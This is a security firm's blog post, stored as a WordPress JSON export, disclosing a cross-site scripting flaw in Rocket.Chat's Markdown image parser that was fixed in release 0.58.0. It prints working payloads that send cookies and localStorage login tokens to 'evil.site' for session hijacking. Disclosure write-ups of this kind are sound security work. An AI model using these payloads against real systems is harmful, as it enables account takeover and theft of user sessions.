{"id":14436,"date":"2017-08-30T16:10:27","date_gmt":"2017-08-30T14:10:27","guid":{"rendered":"https:\/\/codisec.com\/?p=14436"},"modified":"2023-03-22T16:29:56","modified_gmt":"2023-03-22T15:29:56","slug":"xss-rocket-chat-markdown-parser","status":"publish","type":"post","link":"https:\/\/codisec.com\/xss-rocket-chat-markdown-parser\/","title":{"rendered":"XSS in Rocket.Chat Markdown parser"},"content":{"rendered":"
Recently, we’ve observed a strange behavior of the chat service platform we’re using for everyday communication – Rocket.Chat<\/a>. Rocket.Chat allows users to format their messages with Markdown syntax. Among available options, there is inline code syntax – and However, combining those two together results in a very strange output message – <\/p>\n It looked like some fault in parser, so we couldn’t wait to see if we can exploit it\u2026<\/span><\/p>\n Let’s take a closer look at HTML rendered from examples above:<\/span><\/p>\n Inline code Embedding image When used together in In the last example we can see weird things: We know we can control the attribute name of Partially – yes. Unfortunately, we are restricted by a few constraints. After a couple of tests we knew the following:<\/span><\/p>\n Despite those limitations, we’re still able to perform some nasty things. Let’s try to create JavaScript payload that will redirect user to another location. We can use single quote to put our string there and finish the whole line with Everything works as expected – after moving mouse over the message we’re redirected to Taking a closer look at Rocket.Chat web application shows that user\u2019s session is stored as two values: user id and login token. Both are available in local storage as well as cookies that are not marked as HTTP Only. This makes it possible to create a payload for session hijacking:<\/span><\/p>\n This will send the necessary values to an attacker-controlled website. By replacing those values in cookies and local storage, we can take control over victim\u2019s account.<\/span><\/p>\n We have an XSS that steals user\u2019s session, but it\u2019s extremely noticeable – redirection would instantly raise suspicions. Our next step is to make it harder to detect. It would be best if we could run external scripts, for example by simply adding After a short research we’ve found out that the last element of This code will force browser to load data from external server with given URL, thus sending secret data to attacker. The only noticeable side-effect of this method could be a short blink when new image is being loaded.<\/p>\n There\u2019s only one thing left – space character between \u00a0<\/span>Now the attacker only needs to host Rocket.Chat logo on his server to be able to steal user sessions in an inconspicuous way. To make it even harder to detect, we could add JavaScript code that clears the message using method shown above.<\/span><\/p>\n The bug has been reported to Rocket.Chat\u2019s security team and has been fixed in release 0.58.0<\/b>.<\/span><\/p>\n Recently, we’ve observed a strange behavior of the chat service platform we’re using for everyday communication – Rocket.Chat. Rocket.Chat allows users to format their messages with Markdown syntax. Among available options, there is inline code syntax – `code`, which will…<\/span> <\/p>\n <\/a><\/p>\n","protected":false},"author":17,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[40,39],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n\n\n\t\n`code`<\/code>, which will produce the following message:<\/span><\/p>\n
![title](http:\/\/url.to.image)<\/code>, which will result in an image with specified title as an attribute of
<a><\/code> tag.<\/span><\/p>\n
![`foo`](http:\/\/bar)<\/code> will display:<\/span><\/p>\n
Exploitation<\/h2>\n
`s`<\/code> is rendered as:
\n<code class=\"code-colors inline\">s<\/code> <\/code><\/p>\n
![foo](http:\/\/bar)<\/code> results with:
\n<a href=\"http:\/\/bar\" title=\"foo\" target=\"_blank\"><div class=\"inline-image\" style=\"background-image: url(http:\/\/bar);\"><\/div><\/a><\/code><\/p>\n
![`foo`](http:\/\/bar)<\/code>:
\n<a href=\"<a href=\" http:=\"\" bar\"=\"\" target=\"_blank\" rel=\"noopener noreferrer\">http:\/\/bar<\/a>\" title=\"`foo`\" target=\"_blank\"><div class=\"inline-image\" style=\"background-image: url(http:\/\/bar);\"><\/div><\/code><\/p>\n
`foo`<\/code> was not parsed as a code (it remains unchanged as a value of
title<\/code> attribute), and the
http:\/\/bar<\/code> value of
href<\/code> attribute was for some reason converted to a HTML link, causing tag nesting. What’s interesting is that the\u00a0
bar<\/code> string is treated as an attribute of
<a><\/code> tag rather than value of
href<\/code>.<\/span><\/p>\n
<a><\/code> tag – can we also control the value?<\/span><\/p>\n
![`foo`](http:\/\/bar=val)<\/code>:<\/span><\/p>\n
<a href=\"<a href=\" http:=\"\" bar=\"val"\" target=\"_blank\" rel=\"noopener noreferrer\">http:\/\/bar=val<\/a><\/code><\/span><\/p>\n
\n
"<\/code> suffix<\/li>\n
\/\/<\/code> to get rid of
"<\/code> suffix. One last question is – how to trigger it?<\/span>
\n Unfortunately, <a><\/code>
\ntag does not accept onload<\/code>\u00a0attribute or any other event that would fire automatically. The best option we’ve found was triggering it with
onmouseover<\/code> event and padding the message with random text so it would take as much space on a screen as possible. Our final payload will look like this:<\/span>
\n
\n![`s`](http:\/\/onmouseover=window.location='http:\/\/evil.site';\/\/)
\n<\/code>
\n<\/p>\nhttp:\/\/evil.site<\/code>.<\/span><\/p>\n
Next steps<\/h2>\n
![`s`](http:\/\/onmouseover=window.location='http:\/\/evil.site?cookie='+document.cookie;\/\/)<\/code><\/span><\/p>\n
<script src=\"https:\/\/evil.site\/script.js\"><\/script><\/code> to some DOM element. We know we cannot use
getElementById<\/code>\u00a0 since calling a function requires a closing parenthesis. However, we can inspect DOM tree via\u00a0
document.body<\/code>,
document.images<\/code>,
document.links<\/code>, etc<\/span>.<\/span><\/p>\n
document.images<\/code> list is
<img><\/code> tag with Rocket.Chat logo. If we could replace it with the same image and leak data via URL eg.
<img src=\"http:\/\/evil.site\/logo.png?[SECRET_DATA]\"><\/code>, we’d be able to steal session data without any visible changes.
\nTo do this, we can try to modify innerHTML<\/code> of parent element and replace original image with our own. \u00a0Session-stealing JS payload will look like this:<\/span><\/p>\n
document.images[document.images.length-1].parentNode.innerHTML='<img src=http:\/\/evil.site?'+localStorage['Meteor.loginToken']+'XXX'+localStorage['Meteor.userId']+'>'<\/code><\/span><\/p>\n
img<\/code> and
src<\/code>. Fortunately, there is a well-known trick to solve this issue – we can use slash instead of space. The following payload will work:<\/span><\/p>\n
![`s`](http:\/\/onmouseover=document.images[document.images.length-1].parentNode.innerHTML='<img\/src=http:\/\/evil.site?'+localStorage['Meteor.loginToken']+'XXX'+localStorage['Meteor.userId']+'>';\/\/)<\/code><\/span><\/p>\n
TIMELINE<\/h2>\n
\n